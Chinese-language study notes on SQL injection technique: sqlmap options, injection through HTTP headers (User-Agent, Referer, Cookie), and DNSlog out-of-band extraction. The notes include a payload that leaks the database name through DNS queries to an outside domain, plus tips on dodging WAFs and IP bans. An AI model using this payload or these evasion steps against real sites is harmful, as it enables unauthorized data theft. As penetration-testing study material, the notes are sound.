一、sqlmap工具(kali自带)
1、官网:http://www.sqlmap.org
2、版本查看 python sqlmap.py --version
3、常见命令:
- -h:查看帮助信息
- -u "URL" :指定网站
- -p 参数1,参数2:指定参数 注:-p 只能跟-u
- -r 文件名:指定目标字典
- --threads:指定线程
- --cookie="cookie值":使用cookie身份验证
- --random-agent:使用随机浏览器代理头
- --level:指定扫描强度
- --risk: 设定扫描风险
- --tamper="":使用脚本,绕过WAF,IPS等
- --batch:默认选择是
二、请求头字段注入(一般会将数据插入到某张表中)(每个请求头字段都可以试试)
1、UA注入
(1)User-Agent:客户端操作系统、浏览器的相关信息
(2)原理:有些网站会将用户的UA信息写入数据库,用于收集和统计用户信息,此时就可能存在UA注入。
(3)实现:正常登录,使用bp更改user-agent的信息,来获取想要的信息
第一种根据报错信息判断,不给回显,就使用第二种
第二种
2、referer注入
(1)Referer:用户从什么地方来到本页面的
(2)原理:有些网站或APP会将其写入数据库用来分析从哪里来,以及统计广告投入的成本。
(3)实现:正常登录,使用bp更改referer的信息,来获取想要的信息。与UA注入类似,但只有两个字段。
3、cookie注入(mssql多一些)
(1)cookie:请求者身份信息
(2)原理:对get传递来的参数进行过滤,但忽略了cookie也能传递参数
(3)验证:登录,使用bp抓包查看,发现cookie中有参数传值,可能就有cookie注入
(4)实现:正常登录,使用bp更改cookie的信息,来获取想要的信息。与其他请求方式无异
三、dnslog外带(mysql注入)
1、使用sqlmap跑盲注,可能网站会把ip封掉。可以使用代理池
2、原理:将dnslog平台中特有字段带入目标发起dns请求,通过dns解析将请求后的信息组合成新的三级域名带出,在dns日志中显示出来。
3、UNC路径:类似\softer这样形式的网络路径。符合\servername\sharename的格式
如:将电脑的文件共享,会获得一个路径,这就是UNC路径。//x88125e/1.txt
4、使用条件:secure_file_priv需要为空
mysql配置secure_file_priv-CSDN博客
5、load_file()函数:load_file()函数读取一个文件并将其内容作为字符串返回。
注:有空了解load_file,outfile。
6、语句:1' and (select load_file(concat('\\\\',(select database()),'.dnslog生成的域名\\abc')))--+
注:\在sql语句中用转义,"\\\\"转义为"\\"。也可以使用正斜杠。
7、带有特殊字符的需要使用hex()编码,如user()
参考链接:https://www.cnblogs.com/sunny11/p/14399420.html